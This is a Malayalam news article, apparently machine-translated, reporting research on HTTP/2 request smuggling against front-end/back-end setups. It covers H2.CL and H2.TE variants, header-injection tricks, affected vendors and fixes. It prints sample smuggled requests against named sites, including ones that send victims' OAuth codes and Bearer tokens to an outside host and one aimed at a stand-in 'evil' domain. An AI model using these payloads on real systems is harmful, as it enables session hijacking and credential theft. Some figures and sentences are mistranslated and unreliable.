അഭ്യർത്ഥനകളിലേക്ക് തിരിയാൻ നിങ്ങളെ അനുവദിക്കുന്ന ഫ്രണ്ട്-എൻഡ്-ബാക്കെൻഡ് സിസ്റ്റങ്ങളിൽ ഒരു പുതിയ ആക്രമണം

ഫ്രണ്ട്‌എൻഡ് HTTP/2 വഴി കണക്ഷനുകൾ സ്വീകരിക്കുകയും HTTP/1.1 വഴി ബാക്കെൻഡിലേക്ക് സംപ്രേക്ഷണം ചെയ്യുകയും ചെയ്യുന്ന വെബ് സിസ്റ്റങ്ങൾ HTTP അഭ്യർത്ഥന കള്ളക്കടത്ത് ആക്രമണത്തിന്റെ ഒരു പുതിയ വകഭേദത്തിന് വിധേയമായിട്ടുണ്ട്, ഇത് പ്രത്യേകം രൂപകൽപ്പന ചെയ്ത ക്ലയന്റ് അഭ്യർത്ഥനകൾ അയച്ചുകൊണ്ട് ഉള്ളടക്കത്തിലേക്ക് വെഡ്ജ് ചെയ്യാൻ അനുവദിക്കുന്നു. മറ്റ് ഉപയോക്താക്കളിൽ നിന്നുള്ള അഭ്യർത്ഥനകൾ ഫ്രണ്ട്‌എൻഡിനും ബാക്കെൻഡിനും ഇടയിൽ ഒരേ ഒഴുക്കിൽ പ്രോസസ്സ് ചെയ്യുന്നു. നിയമാനുസൃതമായ സൈറ്റ് ഉള്ള ഒരു സെഷനിലേക്ക് ക്ഷുദ്രകരമായ JavaScript കോഡ് ചേർക്കാനും ആക്സസ് കൺട്രോൾ സിസ്റ്റങ്ങൾ ബൈപാസ് ചെയ്യാനും പ്രാമാണീകരണ പാരാമീറ്ററുകൾ തടസ്സപ്പെടുത്താനും ആക്രമണം ഉപയോഗിക്കാം.

വെബ് പ്രോക്സികൾ, ലോഡ് ബാലൻസറുകൾ, വെബ് ആക്സിലറേറ്ററുകൾ, ഉള്ളടക്ക ഡെലിവറി സിസ്റ്റങ്ങൾ, ഫ്രണ്ട്-എൻഡ്-ബാക്കെൻഡ് സ്കീം അനുസരിച്ച് അഭ്യർത്ഥനകൾ റീഡയറക്‌ട് ചെയ്യുന്ന മറ്റ് കോൺഫിഗറേഷനുകൾ എന്നിവയെ ഈ പ്രശ്നം ബാധിക്കുന്നു. പഠനത്തിന്റെ രചയിതാവ് Netflix, Verizon, Bitbucket, Netlify CDN, Atlassian എന്നിവയിലെ സിസ്റ്റങ്ങളെ ആക്രമിക്കാനുള്ള കഴിവ് പ്രകടമാക്കി, കൂടാതെ $56 അപകടസാധ്യതയുള്ള ബൗണ്ടി പ്രോഗ്രാമുകളിൽ ലഭിച്ചു. F5 നെറ്റ്‌വർക്ക് ഉൽപ്പന്നങ്ങളിലും പ്രശ്നം സ്ഥിരീകരിച്ചു. Apache http സെർവറിലെ (CVE-2021-33193) mod_proxy-യെ ഈ പ്രശ്നം ഭാഗികമായി ബാധിക്കുന്നു, പതിപ്പ് 2.4.49-ൽ ഒരു പരിഹാരം പ്രതീക്ഷിക്കുന്നു (ഡെവലപ്പർമാരെ ഈ പ്രശ്നം മേയ് ആദ്യം അറിയിക്കുകയും അത് പരിഹരിക്കാൻ 3 മാസത്തെ സമയം ലഭിക്കുകയും ചെയ്തു). nginx-ൽ, "ഉള്ളടക്ക-ദൈർഘ്യം", "ട്രാൻസ്ഫർ-എൻകോഡിംഗ്" എന്നീ തലക്കെട്ടുകൾ ഒരേ സമയം വ്യക്തമാക്കാനുള്ള കഴിവ് അവസാന പതിപ്പിൽ (1.21.1) തടഞ്ഞു. ബർപ്പ് ടൂൾകിറ്റിലേക്ക് അറ്റാക്ക് ടൂളുകൾ ഇതിനകം ചേർത്തിട്ടുണ്ട്, കൂടാതെ ടർബോ ഇൻട്രൂഡർ എക്സ്റ്റൻഷനായി ലഭ്യമാണ്.

ട്രാഫിക്കിലേക്ക് അഭ്യർത്ഥനകൾ വെഡ്ജ് ചെയ്യുന്നതിനുള്ള പുതിയ രീതിയുടെ പ്രവർത്തന തത്വം രണ്ട് വർഷം മുമ്പ് ഇതേ ഗവേഷകൻ കണ്ടെത്തിയ അപകടസാധ്യതയ്ക്ക് സമാനമാണ്, എന്നാൽ HTTP/1.1 വഴി അഭ്യർത്ഥനകൾ സ്വീകരിക്കുന്ന മുൻഭാഗങ്ങളിലേക്ക് പരിമിതപ്പെടുത്തിയിരിക്കുന്നു. ഫ്രണ്ട്‌എൻഡ്-ബാക്കെൻഡ് സ്കീമിൽ, ക്ലയന്റ് അഭ്യർത്ഥനകൾ ഒരു അധിക നോഡാണ് സ്വീകരിക്കുന്നത് - ഫ്രണ്ട്‌എൻഡ്, അഭ്യർത്ഥനകൾ നേരിട്ട് പ്രോസസ്സ് ചെയ്യുന്ന ബാക്കെൻഡുമായി ദീർഘകാല TCP കണക്ഷൻ സ്ഥാപിക്കുന്നു. ഈ പൊതുവായ കണക്ഷനിലൂടെ, വ്യത്യസ്‌ത ഉപയോക്താക്കളിൽ നിന്നുള്ള അഭ്യർത്ഥനകൾ സാധാരണയായി കൈമാറ്റം ചെയ്യപ്പെടുന്നു, അവ ശൃംഖലയെ പിന്തുടരുന്നു, HTTP പ്രോട്ടോക്കോൾ വഴി വേർതിരിക്കുന്നു.

"HTTP അഭ്യർത്ഥന കള്ളക്കടത്ത്" ആക്രമണം, "ഉള്ളടക്ക-ദൈർഘ്യം" (അഭ്യർത്ഥനയിലെ ഡാറ്റയുടെ മൊത്തം വലുപ്പം നിർണ്ണയിക്കുന്നു), "കൈമാറ്റം-എൻകോഡിംഗ്: ചങ്ക്ഡ്" (അഭ്യർത്ഥനയിലെ ഡാറ്റയുടെ മൊത്തത്തിലുള്ള വലുപ്പം നിർണ്ണയിക്കുന്നു) എന്നീ HTTP തലക്കെട്ടുകളുടെ ഉപയോഗത്തെ ഫ്രണ്ട്‌എൻഡുകളും ബാക്കെൻഡുകളും വ്യാഖ്യാനിക്കുന്നു എന്ന വസ്തുതയെ അടിസ്ഥാനമാക്കിയുള്ളതാണ്. ഭാഗങ്ങളായി ഡാറ്റ കൈമാറാൻ അനുവദിക്കുന്നു) വ്യത്യസ്തമായി . ഉദാഹരണത്തിന്, ഫ്രണ്ട്‌എൻഡ് "ഉള്ളടക്ക ദൈർഘ്യം" മാത്രം പിന്തുണയ്‌ക്കുകയും എന്നാൽ "കൈമാറ്റം-എൻകോഡിംഗ്: ചങ്ക്ഡ്" അവഗണിക്കുകയും ചെയ്യുന്നുവെങ്കിൽ, ആക്രമണകാരിക്ക് "ഉള്ളടക്ക-ദൈർഘ്യം", "കൈമാറ്റം-എൻകോഡിംഗ്: ചങ്ക്ഡ്" എന്നീ തലക്കെട്ടുകൾ അടങ്ങിയ ഒരു അഭ്യർത്ഥന അയയ്‌ക്കാൻ കഴിയും. വലിപ്പം "ഉള്ളടക്ക-ദൈർഘ്യം" ആണ് ചങ്ക് ചെയിനിന്റെ വലുപ്പവുമായി പൊരുത്തപ്പെടുന്നില്ല. ഈ സാഹചര്യത്തിൽ, ഫ്രണ്ട്‌എൻഡ് "ഉള്ളടക്ക-ദൈർഘ്യം" അനുസരിച്ച് അഭ്യർത്ഥന പ്രോസസ്സ് ചെയ്യുകയും റീഡയറക്‌ട് ചെയ്യുകയും ചെയ്യും, കൂടാതെ "ട്രാൻസ്‌ഫർ-എൻകോഡിംഗ്: ചങ്ക്ഡ്" അടിസ്ഥാനമാക്കി ബ്ലോക്ക് പൂർത്തിയാകുന്നതുവരെ ബാക്കെൻഡ് കാത്തിരിക്കുകയും ആക്രമണകാരിയുടെ അഭ്യർത്ഥനയുടെ ശേഷിക്കുന്ന വാൽ ആയിരിക്കും അടുത്തതായി കൈമാറിയ വിദേശ അഭ്യർത്ഥനയുടെ തുടക്കത്തിൽ.

ലൈൻ ലെവലിൽ പാഴ്‌സ് ചെയ്‌തിരിക്കുന്ന ടെക്‌സ്‌റ്റ് അധിഷ്‌ഠിത HTTP/1.1 പ്രോട്ടോക്കോളിൽ നിന്ന് വ്യത്യസ്തമായി, HTTP/2 ഒരു ബൈനറി പ്രോട്ടോക്കോൾ ആണ് കൂടാതെ മുൻകൂട്ടി നിശ്ചയിച്ച വലുപ്പത്തിലുള്ള ഡാറ്റ ബ്ലോക്കുകൾ കൈകാര്യം ചെയ്യുന്നു. എന്നിരുന്നാലും, എച്ച്ടിടിപി/2 സാധാരണ എച്ച്ടിടിപി ഹെഡറുകളുമായി പൊരുത്തപ്പെടുന്ന വ്യാജ തലക്കെട്ടുകൾ ഉപയോഗിക്കുന്നു. HTTP/1.1 വഴി ബാക്കെൻഡുമായി സംവദിക്കുമ്പോൾ, ഫ്രണ്ട്‌എൻഡ് ഈ വ്യാജ തലക്കെട്ടുകളെ സമാനമായ HTTP/1.1 HTTP ഹെഡറുകളിലേക്ക് വിവർത്തനം ചെയ്യുന്നു. യഥാർത്ഥ അഭ്യർത്ഥനയുടെ പാരാമീറ്ററുകൾ അറിയാതെ, ഫ്രണ്ട്‌എൻഡ് സജ്ജമാക്കിയ HTTP തലക്കെട്ടുകളെ അടിസ്ഥാനമാക്കി സ്ട്രീം പാഴ്‌സ് ചെയ്യുന്നതിനെ കുറിച്ച് ബാക്കെൻഡ് തീരുമാനങ്ങൾ എടുക്കുന്നു എന്നതാണ് പ്രശ്‌നം.

കപട-ഹെഡറുകളുടെ രൂപത്തിൽ ഉൾപ്പെടെ, "ഉള്ളടക്ക-ദൈർഘ്യം", "ട്രാൻസ്ഫർ-എൻകോഡിംഗ്" എന്നീ മൂല്യങ്ങൾ കൈമാറാൻ കഴിയും, അവ എച്ച്ടിടിപി / 2-ൽ ഉപയോഗിച്ചിട്ടില്ലെങ്കിലും, എല്ലാ ഡാറ്റയുടെയും വലുപ്പം നിർണ്ണയിക്കുന്നത് ഒരു പ്രത്യേക ഫീൽഡ്. എന്നിരുന്നാലും, ഒരു HTTP/2 അഭ്യർത്ഥന HTTP/1.1 ലേക്ക് പരിവർത്തനം ചെയ്യുന്ന പ്രക്രിയയിൽ, ഈ തലക്കെട്ടുകൾ കൈമാറുകയും ബാക്കെൻഡിനെ ആശയക്കുഴപ്പത്തിലാക്കുകയും ചെയ്യും. രണ്ട് പ്രധാന ആക്രമണ ഓപ്‌ഷനുകളുണ്ട്: H2.TE, H2.CL, തെറ്റായ ട്രാൻസ്ഫർ-എൻകോഡിംഗ് അല്ലെങ്കിൽ ഉള്ളടക്ക-ദൈർഘ്യ മൂല്യം മുഖേന ഫ്രണ്ട്‌എൻഡിന് ലഭിച്ച അഭ്യർത്ഥന ബോഡിയുടെ യഥാർത്ഥ വലുപ്പവുമായി പൊരുത്തപ്പെടാത്ത ബാക്കെൻഡിനെ തെറ്റിദ്ധരിപ്പിക്കുന്നു. HTTP/2 പ്രോട്ടോക്കോൾ.

H2.CL ആക്രമണത്തിന്റെ ഉദാഹരണമായി, Netflix-ലേക്ക് HTTP/2 അഭ്യർത്ഥന അയയ്‌ക്കുമ്പോൾ ഉള്ളടക്ക ദൈർഘ്യമുള്ള വ്യാജ തലക്കെട്ട് തെറ്റായി രൂപപ്പെടുത്തിയിരിക്കുന്നു. ഈ അഭ്യർത്ഥന HTTP/1.1 വഴി ബാക്കെൻഡ് ആക്‌സസ് ചെയ്യുമ്പോൾ സമാനമായ ഒരു ഉള്ളടക്ക-ദൈർഘ്യമുള്ള HTTP തലക്കെട്ട് ചേർക്കുന്നതിന് കാരണമാകുന്നു, എന്നാൽ ഉള്ളടക്ക-ദൈർഘ്യത്തിലെ വലുപ്പം യഥാർത്ഥ വലുപ്പത്തേക്കാൾ കുറവായതിനാൽ, വാലിൽ ചില ഡാറ്റ പ്രോസസ്സ് ചെയ്യപ്പെടുന്നു അടുത്ത അഭ്യർത്ഥനയുടെ തുടക്കം.

ഉദാഹരണത്തിന്, ഒരു HTTP/2 അഭ്യർത്ഥന : രീതി POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

ബാക്കെൻഡിലേക്ക് ഒരു അഭ്യർത്ഥന അയയ്ക്കും: POST /n HTTP/1.1 ഹോസ്റ്റ്: www.netflix.com ഉള്ളടക്ക-ദൈർഘ്യം: 4 abcdGET /n HTTP/1.1 ഹോസ്റ്റ്: 02.rs?x.netflix.com ഫൂ: ബാർ

ഉള്ളടക്ക ദൈർഘ്യം 4 ആയി സജ്ജീകരിച്ചിരിക്കുന്നതിനാൽ, ബാക്കെൻഡ് അഭ്യർത്ഥന ബോഡിയായി "abcd" മാത്രമേ സ്വീകരിക്കുകയുള്ളൂ, കൂടാതെ "GET /n HTTP/1.1..." ബാക്കിയുള്ളവ മറ്റൊരു ഉപയോക്താവുമായി ബന്ധിപ്പിച്ചിട്ടുള്ള അടുത്ത അഭ്യർത്ഥനയുടെ തുടക്കമായി പ്രോസസ്സ് ചെയ്യും. അതനുസരിച്ച്, സ്ട്രീം സമന്വയത്തിന് പുറത്തായിരിക്കും, അടുത്ത അഭ്യർത്ഥനയ്ക്കുള്ള പ്രതികരണമായി, വ്യാജ അഭ്യർത്ഥന പ്രോസസ്സ് ചെയ്തതിന്റെ ഫലം തിരികെ നൽകും. Netflix-ന്റെ കാര്യത്തിൽ, ഒരു വ്യാജ അഭ്യർത്ഥനയിൽ "Host:" എന്ന തലക്കെട്ടിൽ ഒരു മൂന്നാം കക്ഷി ഹോസ്റ്റ് വ്യക്തമാക്കുന്നത്, ക്ലയന്റിന് "ലൊക്കേഷൻ: https://02.rs?x.netflix.com/n" എന്ന പ്രതികരണത്തിന് കാരണമായി. Netflix സൈറ്റിന്റെ പശ്ചാത്തലത്തിൽ നിങ്ങളുടെ JavaScript കോഡ് എക്സിക്യൂട്ട് ചെയ്യുന്നത് ഉൾപ്പെടെ, ക്ലയന്റിലേക്ക് അനിയന്ത്രിതമായ ഉള്ളടക്കം കൈമാറാൻ അനുവദിച്ചു.

ആക്രമണത്തിന്റെ രണ്ടാമത്തെ വകഭേദം (H2.TE) "ട്രാൻസ്‌ഫർ-എൻകോഡിംഗ്: ചങ്ക്ഡ്" ഹെഡറിന്റെ പകരവുമായി ബന്ധപ്പെട്ടിരിക്കുന്നു. HTTP/2-ൽ ട്രാൻസ്ഫർ-എൻകോഡിംഗ് കപട-ഹെഡറിന്റെ ഉപയോഗം സ്‌പെസിഫിക്കേഷൻ പ്രകാരം നിരോധിച്ചിരിക്കുന്നു, കൂടാതെ അതിനോടൊപ്പമുള്ള അഭ്യർത്ഥനകൾ തെറ്റായി കണക്കാക്കാൻ നിർദ്ദേശിച്ചിരിക്കുന്നു. ഇതൊക്കെയാണെങ്കിലും, ചില ഫ്രണ്ട്‌എൻഡ് നടപ്പിലാക്കലുകൾ ഈ ആവശ്യകതയെ അവഗണിക്കുകയും HTTP/2-ൽ ട്രാൻസ്ഫർ-എൻകോഡിംഗ് വ്യാജ-ഹെഡറിന്റെ ഉപയോഗം അനുവദിക്കുകയും ചെയ്യുന്നു, ഇത് സമാനമായ HTTP ഹെഡറിലേക്ക് വിവർത്തനം ചെയ്യുന്നു. “ട്രാൻസ്‌ഫർ-എൻകോഡിംഗ്” തലക്കെട്ട് ഉണ്ടെങ്കിൽ, ബാക്കെൻഡിന് അത് മുൻഗണനയായി എടുത്ത് “{size}\r\n{block} ഫോർമാറ്റിലെ വ്യത്യസ്ത വലുപ്പത്തിലുള്ള ബ്ലോക്കുകൾ ഉപയോഗിച്ച് “ചങ്ക്ഡ്” മോഡിൽ ഡാറ്റ ഭാഗങ്ങളായി പാഴ്‌സ് ചെയ്യാൻ കഴിയും. \r\n{size} \r\n{block}\r\n0" മൊത്തത്തിലുള്ള വലിപ്പം കൊണ്ട് പ്രാരംഭ വിഭജനം ഉണ്ടായിരുന്നിട്ടും.

അത്തരമൊരു വിടവിന്റെ സാന്നിധ്യം വെറൈസോണിന്റെ ഉദാഹരണത്തിലൂടെ പ്രകടമാക്കി. എന്നിരുന്നാലും, ഹഫിംഗ്ടൺ പോസ്റ്റ്, എൻഗാഡ്ജെറ്റ് തുടങ്ങിയ സൈറ്റുകളും ഉപയോഗിക്കുന്ന പ്രാമാണീകരണ പോർട്ടലും ഉള്ളടക്ക മാനേജ്മെന്റ് സിസ്റ്റവുമാണ് പ്രശ്നം. ഉദാഹരണത്തിന്, HTTP/2: : രീതി POST :path /identitfy/XUI x=

ബാക്കെൻഡിലേക്കുള്ള HTTP/1.1 അഭ്യർത്ഥനയ്ക്ക് കാരണമായി: POST /identity/XUI HTTP/1.1 ഹോസ്റ്റ്: id.b2b.oath.com ഉള്ളടക്ക-ദൈർഘ്യം: 66 ട്രാൻസ്ഫർ-എൻകോഡിംഗ്: ചങ്ക്ഡ് 0 GET /oops HTTP/1.1 ഹോസ്റ്റ്: psres.net ഉള്ളടക്കം- ദൈർഘ്യം : 10x=

ബാക്കെൻഡ്, "ഉള്ളടക്ക-ദൈർഘ്യം" തലക്കെട്ട് അവഗണിക്കുകയും "ട്രാൻസ്ഫർ-എൻകോഡിംഗ്: ചങ്ക്ഡ്" അടിസ്ഥാനമാക്കി ഇൻ-സ്ട്രീം വിഭജനം നടത്തുകയും ചെയ്തു. പ്രായോഗികമായി, OAuth പ്രാമാണീകരണവുമായി ബന്ധപ്പെട്ട അഭ്യർത്ഥനകൾ തടസ്സപ്പെടുത്തൽ, റഫറർ ഹെഡറിൽ ദൃശ്യമാകുന്ന പാരാമീറ്ററുകൾ, ഒരു പ്രാമാണീകരണ സെഷൻ അനുകരിക്കൽ, ഉപയോക്തൃ ക്രെഡൻഷ്യലുകൾ അയയ്‌ക്കുന്നത് എന്നിവ ഉൾപ്പെടെയുള്ള ഉപയോക്തൃ അഭ്യർത്ഥനകൾ നിങ്ങളുടെ സൈറ്റിലേക്ക് റീഡയറക്‌ട് ചെയ്യുന്നത് ആക്രമണം സാധ്യമാക്കി. ആക്രമണകാരിയുടെ ആതിഥേയൻ. GET /b2blanding/show/oops HTTP/1.1 ഹോസ്റ്റ്: psres.net റഫറർ: https://id.b2b.oath.com/?...&code=secret GET / HTTP/1.1 ഹോസ്റ്റ്: psres.net അധികാരപ്പെടുത്തൽ: Bearer eyJhcGwiOiJIUzIR…1

ട്രാൻസ്ഫർ-എൻകോഡിംഗ് സ്യൂഡോ-ഹെഡർ വ്യക്തമാക്കാൻ അനുവദിക്കാത്ത HTTP/2 നടപ്പിലാക്കലുകളെ ആക്രമിക്കാൻ, "ട്രാൻസ്ഫർ-എൻകോഡിംഗ്" ഹെഡറിന് പകരം ഒരു പുതിയ ലൈൻ പ്രതീകം കൊണ്ട് വേർതിരിച്ച മറ്റ് വ്യാജ തലക്കെട്ടുകളിലേക്ക് (പരിവർത്തനം ചെയ്യുമ്പോൾ) അറ്റാച്ചുചെയ്യുന്നത് ഉൾപ്പെടുന്ന മറ്റൊരു രീതി നിർദ്ദേശിക്കപ്പെട്ടിരിക്കുന്നു. ഈ സാഹചര്യത്തിൽ HTTP/1.1-ലേക്ക്, രണ്ട് വ്യത്യസ്ത HTTP തലക്കെട്ടുകൾ സൃഷ്ടിക്കപ്പെടുന്നു).

ഉദാഹരണത്തിന്, Atlassian Jira, Netlify CDN (ഫയർഫോക്സിലെ മോസില്ല ആരംഭ പേജ് സേവിക്കാൻ ഉപയോഗിക്കുന്നു) എന്നിവ ഈ പ്രശ്നം ബാധിച്ചു. പ്രത്യേകമായി, HTTP/2 അഭ്യർത്ഥന : രീതി POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n ഹോസ്റ്റ് : evil-netlify-domain\r\n ഉള്ളടക്ക ദൈർഘ്യം: 5\r\n \r\nx=

ഒരു HTTP/1.1 POST / HTTP/1.1 അഭ്യർത്ഥന ബാക്കെൻഡിലേക്ക് അയയ്ക്കാൻ കാരണമായി\r\n ഹോസ്റ്റ്: start.mozilla.org\r\n ഫൂ: b\r\n ട്രാൻസ്ഫർ-എൻകോഡിംഗ്: ചങ്ക്ഡ്\r\n ഉള്ളടക്കം- ദൈർഘ്യം: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ഹോസ്റ്റ്: evil-netlify-domain\r\n ഉള്ളടക്ക ദൈർഘ്യം: 5\r\n \ r\nx=

"ട്രാൻസ്ഫർ-എൻകോഡിംഗ്" തലക്കെട്ടിന് പകരമായി മറ്റൊരു ഉപാധി, അത് മറ്റൊരു വ്യാജ-ഹെഡറിന്റെ പേരിലേക്കോ അഭ്യർത്ഥന രീതിയുള്ള ഒരു സ്ട്രിംഗിലേക്കോ അറ്റാച്ചുചെയ്യുക എന്നതായിരുന്നു. ഉദാഹരണത്തിന്, Atlassian Jira ആക്സസ് ചെയ്യുമ്പോൾ, "ചങ്ക്ഡ്" എന്ന മൂല്യത്തോടുകൂടിയ "foo: bar\r\ntransfer-encoding" എന്ന വ്യാജ തലക്കെട്ടിന്റെ പേര്, HTTP തലക്കെട്ടുകൾ "foo: bar", "transfer-encoding" എന്നിവ കൂട്ടിച്ചേർക്കുന്നതിന് കാരണമായി. : chunked", കൂടാതെ "GET / HTTP/1.1\r\nTransfer-encoding: chunked" എന്ന മൂല്യത്തിന്റെ ": രീതി" എന്ന വ്യാജ തലക്കെട്ടിൽ വ്യക്തമാക്കുന്നത് "GET / HTTP/1.1\r\n Transfer-encoding: chunked" എന്നതിലേക്ക് വിവർത്തനം ചെയ്തു. .

പ്രശ്നം തിരിച്ചറിഞ്ഞ ഗവേഷകൻ ഫ്രണ്ട്‌എൻഡുകളെ ആക്രമിക്കാൻ ഒരു അഭ്യർത്ഥന ടണലിംഗ് ടെക്‌നിക് നിർദ്ദേശിച്ചു, അതിൽ ഓരോ ഐപി വിലാസത്തിനും ബാക്കെൻഡിലേക്ക് ഒരു പ്രത്യേക കണക്ഷൻ സ്ഥാപിക്കുകയും വ്യത്യസ്ത ഉപയോക്താക്കളുടെ ട്രാഫിക് കലരാതിരിക്കുകയും ചെയ്യുന്നു. മറ്റ് ഉപയോക്താക്കളുടെ അഭ്യർത്ഥനകളിൽ ഇടപെടാൻ നിർദ്ദിഷ്ട സാങ്കേതികത നിങ്ങളെ അനുവദിക്കുന്നില്ല, എന്നാൽ ഇത് പങ്കിട്ട കാഷെ വിഷലിപ്തമാക്കുന്നത് സാധ്യമാക്കുന്നു, ഇത് മറ്റ് അഭ്യർത്ഥനകളുടെ പ്രോസസ്സിംഗിനെ ബാധിക്കുന്നു, കൂടാതെ സേവന വിവരങ്ങൾ കൈമാറാൻ ഉപയോഗിക്കുന്ന ആന്തരിക എച്ച്ടിടിപി ഹെഡറുകൾ മാറ്റിസ്ഥാപിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു. ബാക്കെൻഡിലേക്കുള്ള ഫ്രണ്ട്‌എൻഡ് (ഉദാഹരണത്തിന്, അത്തരം ഹെഡറുകളിൽ ഫ്രണ്ട്‌എൻഡ് വശത്ത് ആധികാരികമാക്കുമ്പോൾ നിലവിലെ ഉപയോക്താവിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ ബാക്കെൻഡിലേക്ക് അയയ്ക്കാൻ കഴിയും). പ്രായോഗികമായി രീതി പ്രയോഗിക്കുന്നതിന്റെ ഉദാഹരണമായി, കാഷെ വിഷബാധ ഉപയോഗിച്ച്, ബിറ്റ്ബക്കറ്റ് സേവനത്തിലെ പേജുകളിൽ നിയന്ത്രണം നേടാൻ സാധിച്ചു.

അവലംബം: opennet.ru